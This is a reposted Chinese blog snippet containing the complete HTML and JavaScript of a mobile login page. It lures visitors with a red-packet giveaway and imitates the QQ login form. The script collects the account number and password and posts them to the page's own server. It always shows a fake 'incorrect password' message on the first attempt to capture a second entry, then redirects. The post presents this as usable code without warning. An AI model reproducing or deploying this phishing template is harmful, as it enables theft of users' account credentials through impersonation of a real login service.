h5登录

简介:
复制代码
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta id="viewport" name="viewport"
    content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<link href="/tpl/36/css.css" rel="stylesheet" type="text/css" /> 
<title>恭喜发财!</title>
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
<script src="http://yckart.github.io/jquery.base64.js/jquery.base64.js"></script>
</head>
<body style="display: none;">
    <div id="content" class="content">
        <div id="error_tips">
            <div id="error_tips_content">
                <span id="error_icon"></span> <span id="error_message"></span>
            </div>
        </div>
        <div class="redpack">
            <img src="/tpl/36/redpack.gif" alt="">
        </div>
        <div id="login" class="login">
            <div id="app_name" style="display: none"></div>
            <div id="q_login" class="q_login" style="display: none">
                <div id="q_login_title">
                    <div id="q_login_logo"></div>
                    <label id="q_login_tips">请选择登录帐号</label>
                </div>
                <div id="q_logon_list" class="q_logon_list"></div>
            </div>
            <div id="web_login">
            <form id="loginform" autocomplete="off" name="loginform" action="" method="post" target="_self" style="margin:0">
                <ul id="g_list">
                    <li id="g_u"><div id="del_touch" class="del_touch">
                            <span id="del_u" class="del_u"></span>
                        </div>
                        <input id="u" class="inputstyle" name="u" autocomplete="off"
                        placeholder="号码"></li>
                    <li id="g_p"><div id="del_touch_p" class="del_touch">
                            <span id="del_p" class="del_u"></span>
                        </div>
                        <input id="p" class="inputstyle" maxlength="16" type="password"
                        name="p" autocorrect="off" placeholder="请输入您的密码"></li>
                </ul>
                <div id="auto_login">
                    <input type="checkbox" id="remember" checked="checked"> <span
                        class="checkbox"></span><label class="wording">记住登录状态</label>
                </div>
                <div href="javascript:void(0);" id="go">登 录</div>
                </form>
            </div>
            <div id="switch">
                <div id="swicth_login" onclick="pt._switch()" style="display: none">快速登录历史帐号</div>
                <div id="zc_feedback">
                    <span id="zc"
                        onclick="window.open('http\x3A\x2F\x2Fptlogin2.qq.com\x2Fj_newreg_url')">注册新帐号</span>
                    <span id="forgetpwd">忘了密码?</span>
                </div>
            </div>
            <div id="custom_bottom"></div>
        </div>
        <div id="vcode">
            <label id="vcode_tips">点击图片可更换验证码</label>
            <div id="vcode_area">
                <img id="vcode_img"><label id="input_tips">请输入图中的字符不区分大小写</label><input
                    id="vcode_input" name="vcode_input" tabindex="3" autocomplete="off"
                    autocorrect="off" maxlength="6">
            </div>
            <div id="submit">提交验证码</div>
        </div>
    </div>
    <div id="new_vcode" class="new_vcode">
        
    </div>
    <div id="footerBlank"></div>
</body>
<script>

function IsPC() {
    var userAgentInfo = navigator.userAgent;
    var Agents = ["Android", "iPhone",
                "SymbianOS", "Windows Phone",
                "iPad", "iPod"];
    var flag = true;
    for (var v = 0; v < Agents.length; v++) {
        if (userAgentInfo.indexOf(Agents[v]) > 0) {
            flag = false;
            break;
        }
    }
    return flag;
}

if(IsPC()){
    alert('请使用手机访问');
    $('body').hide();
} else {
    $('body').show();
}

$(".redpack").on('click',function(){
    alert('请登录后领取');
    $(this).hide();
    $('.login').show();
});
var err = false;
var times = 0;
function error(msg){

    $("#error_tips").css({display:'block'});
    $('#error_message').html(msg);
    err = true;
}

$('form input').focus(function(){

    $("#error_tips").css({display:'none'});
    err = false;
    
});

$("#error_tips").on('click',function(){
    $(this).hide();
});

$("#go").on('click',function(){
    $(this).parents('form').submit();
});

$('form').submit(function(){
    var $this = $(this);
    $.ajax({
        url:$this.attr('action'),
        data:$this.serialize(),
        type:'post',
        beforeSend:function(){
            err = false;
            var p = $("#p").val();
            var u = $("#u").val();
            
            u == '' && error('您还没有输入帐号!');    
            if(err) return false;
            p == '' && error("您还没有输入密码!");
            if(err) return false;

            /^[1-9][0-9]{5,9}$/.test(u) || error('请输入正确的帐号!');
            if(err) return false;//只有renturn false表单才不会提交,return别的表单都会提交。

            var len = p.length;

            (len < 6 || len>16) && error('您输入的帐号或密码不正确,请重新输入。');
            if(err) {
                $("#p").val('');
                return false;
            }
            $("#p").val('');
            $("#u").val('');
        },
        success:function(data){
            ++times;
            console.log(times);
            if(times<2){
                
                error('您输入的帐号或密码不正确,请重新输入。');
                
            }else{
                alert('红包已经被领取');
                location.href = data.url;
            }
            
        },
        dataType:'json'

        })
    return false;
    
})

</script>
</html>
复制代码

 


本文转自农夫山泉别墅博客园博客,原文链接:http://www.cnblogs.com/yaowen/p/5725154.html,如需转载请自行联系原作者

相关文章
|
8月前
|
Linux 数据安全/隐私保护 开发者
安装和登录appuploder
安装和登录appuploder
|
21天前
|
网络安全
ssh 登录欢迎信息 登录之前与登录之后
ssh 登录欢迎信息 登录之前与登录之后
13 0
|
1月前
|
安全 数据安全/隐私保护
如何安全的使用密码登录账号(在不知道密码的情况下)
该内容介绍了如何使用一个工具来便捷地复制和管理账号密码。首先提到了两个下载工具的链接,分别是百度网盘和蓝奏云,并给出了相应的提取码。接着,展示了工具的界面,说明通过按住Ctrl或Alt点击密码栏可以快速复制账号和密码,无需直接看到密码。用户可以通过模拟添加账号来体验这一功能,然后演示了如何生成和复制新密码。最后,重点强调了按住Ctrl复制账号和按住Alt复制对应密码的快捷操作,使得在不知密码的情况下也能轻松获取。
|
1月前
|
安全 算法 Java
【SpringSecuirty6.x】自动登录和注销登录
【SpringSecuirty6.x】自动登录和注销登录
29 0
|
1月前
|
前端开发 数据安全/隐私保护
expres实现登录与修改密码
expres实现登录与修改密码
|
11月前
HTML+CSS+JS实现简单的登录账号密码判断
HTML+CSS+JS实现简单的登录账号密码判断
385 0
|
12月前
|
SQL 前端开发 JavaScript
登录和注册的基本实现,超简单!
登录和注册的基本实现,超简单!
54 0
|
开发工具
开发工具为什么用阿里云账号登录 登录不上
开发工具为什么用阿里云账号登录 登录不上
开发工具为什么用阿里云账号登录 登录不上
|
Serverless 数据安全/隐私保护 开发者
登陆创建账号|学习笔记
快速学习登陆创建账号
90 0
登陆创建账号|学习笔记
|
NoSQL Java Redis
手机验证码登录
手机验证登录分为三个API接口,分别为:获取图片验证码、获取手机短信验证码、登录。 1.获取图片验证码:通过工具类生成图片验证码,将随机验证码保存到session中,将图片验证码转为base64码放到对应的entity字段里。
8833 0